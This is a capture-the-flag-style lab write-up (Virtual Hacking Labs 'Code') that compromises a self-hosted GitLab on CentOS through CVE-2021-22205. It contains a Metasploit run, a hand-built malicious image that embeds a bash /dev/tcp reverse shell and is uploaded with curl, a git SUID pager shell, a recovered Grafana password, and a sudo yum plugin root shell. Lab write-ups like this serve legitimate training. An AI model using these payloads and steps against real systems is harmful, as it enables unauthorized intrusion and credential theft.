WriteupsVHL — Code
WebMediumLinux
VHL — Code
Self-hosted GitLab CE on CentOS. Exploited CVE-2021-22205 unauthenticated RCE via image upload to the GitLab instance.
February 14, 2025Virtual Hacking Labs
#GitLab#CVE-2021-22205#RCE#Image Upload
nmap
sh
nmap -sC -sV -T4 -A -Pn -p- --open 10.11.1.148
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-02-14 20:43 EST
Stats: 0:01:36 elapsed; 0 hosts completed (1 up), 1 undergoing Service Scan
Service scan Timing: About 100.00% done; ETC: 20:45 (0:00:00 remaining)
Nmap scan report for 10.11.1.148
Host is up (0.022s latency).
Not shown: 65530 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.4 (protocol 2.0)
| ssh-hostkey:
| 2048 1d:b9:1e:18:f8:f1:29:9e:5b:de:1b:6c:71:66:f9:7c (RSA)
| 256 ea:93:b6:a7:d4:55:65:e7:10:cc:0a:e6:3e:6a:1e:9f (ECDSA)
|_ 256 00:dd:b7:eb:9c:54:e5:2b:13:6a:df:16:dd:11:e4:1e (ED25519)
80/tcp open http nginx
| http-title: Sign in \xC2\xB7 GitLab
|_Requested resource was http://10.11.1.148/users/sign_in
|_http-trane-info: Problem with XML parsing of /evox/about
| http-robots.txt: 54 disallowed entries (15 shown)
| / /autocomplete/users /autocomplete/projects /search
| /admin /profile /dashboard /users /help /s/ /-/profile /-/ide/
|_/*/new /*/edit /*/raw
3000/tcp open ppp?
| fingerprint-strings:
| GenericLines, Help, Kerberos, RTSPRequest, SSLSessionReq, TLSSessionReq, TerminalServerCookie:
| HTTP/1.1 400 Bad Request
| Content-Type: text/plain; charset=utf-8
| Connection: close
| Request
| GetRequest:
| HTTP/1.0 302 Found
| Cache-Control: no-cache
| Content-Type: text/html; charset=utf-8
| Expires: -1
| Location: /-/grafana/login
| Pragma: no-cache
| Set-Cookie: redirect_to=%2F-%2Fgrafana%2F; Path=/-/grafana; HttpOnly; SameSite=Lax
| X-Content-Type-Options: nosniff
| X-Frame-Options: deny
| X-Xss-Protection: 1; mode=block
| Date: Sat, 15 Feb 2025 01:43:58 GMT
| Content-Length: 39
| href="/-/grafana/login">Found</a>.
| HTTPOptions:
| HTTP/1.0 302 Found
| Cache-Control: no-cache
| Expires: -1
| Location: /-/grafana/login
| Pragma: no-cache
| Set-Cookie: redirect_to=%2F-%2Fgrafana%2F; Path=/-/grafana; HttpOnly; SameSite=Lax
| X-Content-Type-Options: nosniff
| X-Frame-Options: deny
| X-Xss-Protection: 1; mode=block
| Date: Sat, 15 Feb 2025 01:44:03 GMT
|_ Content-Length: 0
8060/tcp open http nginx 1.18.0
|_http-title: 404 Not Found
|_http-server-header: nginx/1.18.0
9094/tcp open unknown
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port3000-TCP:V=7.94SVN%I=7%D=2/14%Time=67AFF15B%P=x86_64-pc-linux-gnu%r
SF:(GenericLines,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-Type:\x
SF:20text/plain;\x20charset=utf-8\r\nConnection:\x20close\r\n\r\n400\x20Ba
SF:d\x20Request")%r(GetRequest,19F,"HTTP/1\.0\x20302\x20Found\r\nCache-Con
SF:trol:\x20no-cache\r\nContent-Type:\x20text/html;\x20charset=utf-8\r\nEx
SF:pires:\x20-1\r\nLocation:\x20/-/grafana/login\r\nPragma:\x20no-cache\r\
SF:nSet-Cookie:\x20redirect_to=%2F-%2Fgrafana%2F;\x20Path=/-/grafana;\x20H
SF:ttpOnly;\x20SameSite=Lax\r\nX-Content-Type-Options:\x20nosniff\r\nX-Fra
SF:me-Options:\x20deny\r\nX-Xss-Protection:\x201;\x20mode=block\r\nDate:\x
SF:20Sat,\x2015\x20Feb\x202025\x2001:43:58\x20GMT\r\nContent-Length:\x2039
SF:\r\n\r\n<a\x20href=\"/-/grafana/login\">Found</a>\.\n\n")%r(Help,67,"HT
SF:TP/1\.1\x20400\x20Bad\x20Request\r\nContent-Type:\x20text/plain;\x20cha
SF:rset=utf-8\r\nConnection:\x20close\r\n\r\n400\x20Bad\x20Request")%r(HTT
SF:POptions,14F,"HTTP/1\.0\x20302\x20Found\r\nCache-Control:\x20no-cache\r
SF:\nExpires:\x20-1\r\nLocation:\x20/-/grafana/login\r\nPragma:\x20no-cach
SF:e\r\nSet-Cookie:\x20redirect_to=%2F-%2Fgrafana%2F;\x20Path=/-/grafana;\
SF:x20HttpOnly;\x20SameSite=Lax\r\nX-Content-Type-Options:\x20nosniff\r\nX
SF:-Frame-Options:\x20deny\r\nX-Xss-Protection:\x201;\x20mode=block\r\nDat
SF:e:\x20Sat,\x2015\x20Feb\x202025\x2001:44:03\x20GMT\r\nContent-Length:\x
SF:200\r\n\r\n")%r(RTSPRequest,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nC
SF:ontent-Type:\x20text/plain;\x20charset=utf-8\r\nConnection:\x20close\r\
SF:n\r\n400\x20Bad\x20Request")%r(SSLSessionReq,67,"HTTP/1\.1\x20400\x20Ba
SF:d\x20Request\r\nContent-Type:\x20text/plain;\x20charset=utf-8\r\nConnec
SF:tion:\x20close\r\n\r\n400\x20Bad\x20Request")%r(TerminalServerCookie,67
SF:,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-Type:\x20text/plain;\x2
SF:0charset=utf-8\r\nConnection:\x20close\r\n\r\n400\x20Bad\x20Request")%r
SF:(TLSSessionReq,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-Type:\
SF:x20text/plain;\x20charset=utf-8\r\nConnection:\x20close\r\n\r\n400\x20B
SF:ad\x20Request")%r(Kerberos,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nCo
SF:ntent-Type:\x20text/plain;\x20charset=utf-8\r\nConnection:\x20close\r\n
SF:\r\n400\x20Bad\x20Request");
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.94SVN%E=4%D=2/14%OT=22%CT=1%CU=34426%PV=Y%DS=2%DC=I%G=Y%TM=67AF
OS:F1BB%P=x86_64-pc-linux-gnu)SEQ(SP=105%GCD=1%ISR=10A%TI=Z%II=I%TS=A)SEQ(S
OS:P=105%GCD=2%ISR=10B%TI=Z%II=I%TS=A)SEQ(SP=106%GCD=1%ISR=10B%TI=Z%TS=A)SE
OS:Q(SP=106%GCD=1%ISR=10B%TI=Z%II=I%TS=A)OPS(O1=M5B4ST11NW7%O2=M5B4ST11NW7%
OS:O3=M5B4NNT11NW7%O4=M5B4ST11NW7%O5=M5B4ST11NW7%O6=M5B4ST11)WIN(W1=FE88%W2
OS:=FE88%W3=FE88%W4=FE88%W5=FE88%W6=FE88)ECN(R=Y%DF=Y%T=40%W=FAF0%O=M5B4NNS
OS:NW7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F=AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R=N)
OS:T5(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=N)T7(R=N)U1(R=Y%DF=N%
OS:T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40%CD
OS:=S)
Network Distance: 2 hops
TRACEROUTE
HOP RTT ADDRESS
1 21.67 ms 10.11.1.148
80
sh
80/tcp open http nginx
| http-title: Sign in \xC2\xB7 GitLab
|_Requested resource was http://10.11.1.148/users/sign_in
|_http-trane-info: Problem with XML parsing of /evox/about
| http-robots.txt: 54 disallowed entries (15 shown)
| / /autocomplete/users /autocomplete/projects /search
| /admin /profile /dashboard /users /help /s/ /-/profile /-/ide/
|_/*/new /*/edit /*/raw
/help

gitlab version
sh
msf6 auxiliary(scanner/http/gitlab_version) > run
[+] Gitlab version range for 10.11.1.148:80: [#<Rex::Version "13.10.3.pre.ee">, #<Rex::Version "13.10.5.pre.ee">]
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completedGitLab 13.10.2 RCE (Unauthenticated)
metasploit
- https://www.exploit-db.com/exploits/50532
sh
msf6 auxiliary(scanner/http/gitlab_version) > use exploit/multi/http/gitlab_exif_rce
msf6 exploit(multi/http/gitlab_exif_rce) > set rhosts 10.11.1.148
msf6 exploit(multi/http/gitlab_exif_rce) > set lhost 172.16.1.1
msf6 exploit(multi/http/gitlab_exif_rce) > runsh
msf6 exploit(multi/http/gitlab_exif_rce) > run
[*] Started reverse TCP handler on 172.16.1.1:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Uploading ruCyDZqOs7x.jpg to /cXQpvhvCSBg
[+] The target is vulnerable. The error response indicates ExifTool was executed.
[*] Executing Linux Dropper for linux/x86/meterpreter/reverse_tcp
[*] Using URL: http://172.16.1.1/jgFrmtoTy57gb
[*] Uploading UlGZKnh40J.jpg to /paIpvk
[*] Client 10.11.1.148 (Wget/1.14 (linux-gnu)) requested /jgFrmtoTy57gb
[*] Sending payload to 10.11.1.148 (Wget/1.14 (linux-gnu))
[*] Sending stage (1017704 bytes) to 10.11.1.148
[+] Exploit successfully executed.
[*] Command Stager progress - 100.00% done (111/111 bytes)
[*] Meterpreter session 1 opened (172.16.1.1:4444 -> 10.11.1.148:35004) at 2025-02-14 21:20:36 -0500
[*] Server stopped.
meterpreter > getuid
Server username: gitw/o metasploit
- https://www.exploit-db.com/exploits/50532
sh
echo -e "QVQmVEZPUk0AAAOvREpWTURJUk0AAAAugQACAAAARgAAAKz//96/mSAhyJFO6wwHH9LaiOhr5kQPLHEC7knTbpW9osMiP0ZPUk0AAABeREpWVUlORk8AAAAKAAgACBgAZAAWAElOQ0wAAAAPc2hhcmVkX2Fubm8uaWZmAEJHNDQAAAARAEoBAgAIAAiK5uGxN9l/KokAQkc0NAAAAAQBD/mfQkc0NAAAAAICCkZPUk0AAAMHREpWSUFOVGEAAAFQKG1ldGFkYXRhCgkoQ29weXJpZ2h0ICJcCiIgLiBxeHs=" | base64 -d > lol.jpgsh
echo -n 'TF=$(mktemp -u);bash -i >& /dev/tcp/172.16.1.1/80 0>&1' >> lol.jpgsh
echo -n "fSAuIFwKIiBiICIpICkgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCg==" | base64 -d >> lol.jpgsh
curl -v -F 'file=@lol.jpg' http://10.11.1.148/$(openssl rand -hex 8)sh
rlwrap nc -lnvp 80
listening on [any] 80 ...
connect to [172.16.1.1] from (UNKNOWN) [10.11.1.148] 53354
bash: no job control in this shell
bash-4.2$ whoami
whoami
gitsh
python3 -c 'import pty; pty.spawn("/bin/bash")'priv esc
sh
bash-4.2$ id
id
uid=996(git) gid=993(git) groups=993(git)
bash-4.2$ uname -a
uname -a
Linux localhost.localdomain 5.19.7-1.el7.elrepo.x86_64 #1 SMP PREEMPT_DYNAMIC Sat Sep 3 13:43:36 EDT 2022 x86_64 x86_64 x86_64 GNU/Linux
bash-4.2$ cat /etc/os-release
cat /etc/os-release
NAME="CentOS Linux"
VERSION="7 (Core)"
ID="centos"
ID_LIKE="rhel fedora"
VERSION_ID="7"
PRETTY_NAME="CentOS Linux 7 (Core)"
ANSI_COLOR="0;31"
CPE_NAME="cpe:/o:centos:centos:7"
HOME_URL="https://www.centos.org/"
BUG_REPORT_URL="https://bugs.centos.org/"
CENTOS_MANTISBT_PROJECT="CentOS-7"
CENTOS_MANTISBT_PROJECT_VERSION="7"
REDHAT_SUPPORT_PRODUCT="centos"
REDHAT_SUPPORT_PRODUCT_VERSION="7"SUID (git)
- https://gtfobins.github.io/gtfobins/git/#limited-suid
sh
╔══════════╣ SUID - Check easy privesc, exploits and write perms
╚ https://book.hacktricks.xyz/linux-hardening/privilege-escalation#sudo-and-suid
strace Not Found
-rwsr-xr-x 113 root root 1.5M May 28 2020 /usr/bin/gitsh
PAGER='/bin/bash -c "exec bash 0<&1"' /usr/bin/git -p help
sh
LFILE=/etc/gitlab/gitlab.rb
git diff /dev/null $LFILEsh
+ grafana['enable'] = true
+ grafana['log_directory'] = '/var/log/gitlab/grafana'
+ grafana['home'] = '/var/opt/gitlab/grafana'
+ grafana['admin_password'] = 'C0d3KODe01!'
+# grafana['allow_user_sign_up'] = false
+# grafana['basic_auth_enabled'] = false
+ grafana['disable_login_form'] = false
+# grafana['gitlab_application_id'] = 'GITLAB_APPLICATION_ID'
+# grafana['gitlab_secret'] = 'GITLAB_SECRET'
+ grafana['env_directory'] = '/opt/gitlab/etc/grafana/env'
+# grafana['allowed_groups'] = []
+# grafana['gitlab_auth_sign_up'] = true
+# grafana['env'] = {
+# 'SSL_CERT_DIR' => "#{node['package']['install-dir']}/embedded/ssl/certs/"creds
C0d3KODe01!
ssh as code
sh
ssh code@10.11.1.148
The authenticity of host '10.11.1.148 (10.11.1.148)' can't be established.
ED25519 key fingerprint is SHA256:+LewMcBLit/Aa+jsReEHqp1SZqGrTC80yu41cd0oO/c.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.11.1.148' (ED25519) to the list of known hosts.
code@10.11.1.148's password:
Last login: Fri Sep 9 04:47:49 2022
[code@localhost ~]$ whoami
codesudo (yum)
sh
[code@localhost ~]$ sudo -l
We trust you have received the usual lecture from the local System
Administrator. It usually boils down to these three things:
#1) Respect the privacy of others.
#2) Think before you type.
#3) With great power comes great responsibility.
[sudo] password for code:
Matching Defaults entries for code on localhost:
!visiblepw, always_set_home, match_group_by_gid, always_query_group_plugin, env_reset, env_keep="COLORS DISPLAY HOSTNAME HISTSIZE KDEDIR
LS_COLORS", env_keep+="MAIL PS1 PS2 QTDIR USERNAME LANG LC_ADDRESS LC_CTYPE", env_keep+="LC_COLLATE LC_IDENTIFICATION LC_MEASUREMENT
LC_MESSAGES", env_keep+="LC_MONETARY LC_NAME LC_NUMERIC LC_PAPER LC_TELEPHONE", env_keep+="LC_TIME LC_ALL LANGUAGE LINGUAS _XKB_CHARSET
XAUTHORITY", secure_path=/sbin\:/bin\:/usr/sbin\:/usr/bin
User code may run the following commands on localhost:
(ALL) PASSWD: /usr/bin/yum- https://gtfobins.github.io/gtfobins/yum/#sudo
sh
[code@localhost ~]$ cat >$TF/y.conf<<EOF
> [main]
> enabled=1
> EOF
[code@localhost ~]$ cat >$TF/y.py<<EOF
> import os
> import yum
> from yum.plugins import PluginYumExit, TYPE_CORE, TYPE_INTERACTIVE
> requires_api_version='2.1'
> def init_hook(conduit):
> os.execl('/bin/sh','/bin/sh')
> EOF
[code@localhost ~]$ sudo yum -c $TF/x --enableplugin=y
[sudo] password for code:
Loaded plugins: y
No plugin match for: y
sh-4.2# whoami
root
sh-4.2# cat /root/key.txt
h80ndlgasgtf9mfe5tpo
sh-4.2# date
Sat Feb 15 01:04:04 EST 2025
Up next
EasyFeb 2025
VHL — JS01
Jenkins CI/CD server with no authentication. Exploited the Groovy script console to execute commands and gain a root shell.
Read writeup
MediumFeb 2025
VHL — PBX
FreePBX/Asterisk VoIP server on Ubuntu. Exploited FreePBX RCE CVE via the admin panel to gain a reverse shell and escalate.
Read writeup
MediumFeb 2025
VHL — React
Abyss Web Server on Windows with VNC exposed. Brute-forced VNC password to gain GUI access and escalated to SYSTEM via service abuse.
Read writeup